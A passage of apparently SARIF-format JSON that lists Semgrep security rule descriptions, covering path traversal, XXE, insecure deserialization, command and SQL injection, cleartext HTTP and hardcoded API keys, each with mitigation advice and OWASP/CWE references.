validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint.file-access-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint.file-access-taint","id":"java.micronaut.path-traversal.file-access-taint.file-access-taint","name":"java.micronaut.path-traversal.file-access-taint.file-access-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint.file-access-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open)\n","text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","id":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","name":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","id":"python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","name":"python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","id":"python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","name":"python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Mailgun API Key detected"},"help":{"markdown":"Mailgun API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Mailgun API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","id":"generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","name":"generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`."},"help":{"markdown":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux)\n - [https://pkg.go.dev/net/http#ServeMux.Handler](https://pkg.go.dev/net/http#ServeMux.Handler)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`."},"helpUri":"https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","id":"go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","name":"go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use)\n - [https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess](https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","id":"python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","name":"python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach `$VM`."},"help":{"markdown":"Make sure that unverified user data can not reach `$VM`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-vm-injection.express-vm-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `$VM`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-vm-injection.express-vm-injection","id":"javascript.express.security.express-vm-injection.express-vm-injection","name":"javascript.express.security.express-vm-injection.express-vm-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-vm-injection.express-vm-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","id":"java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","name":"java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","id":"kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","name":"kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.validator-xxe.validator-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.validator-xxe.validator-xxe","id":"kotlin.xxe.validator-xxe.validator-xxe","name":"kotlin.xxe.validator-xxe.validator-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.validator-xxe.validator-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`."},"help":{"markdown":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type)\n - 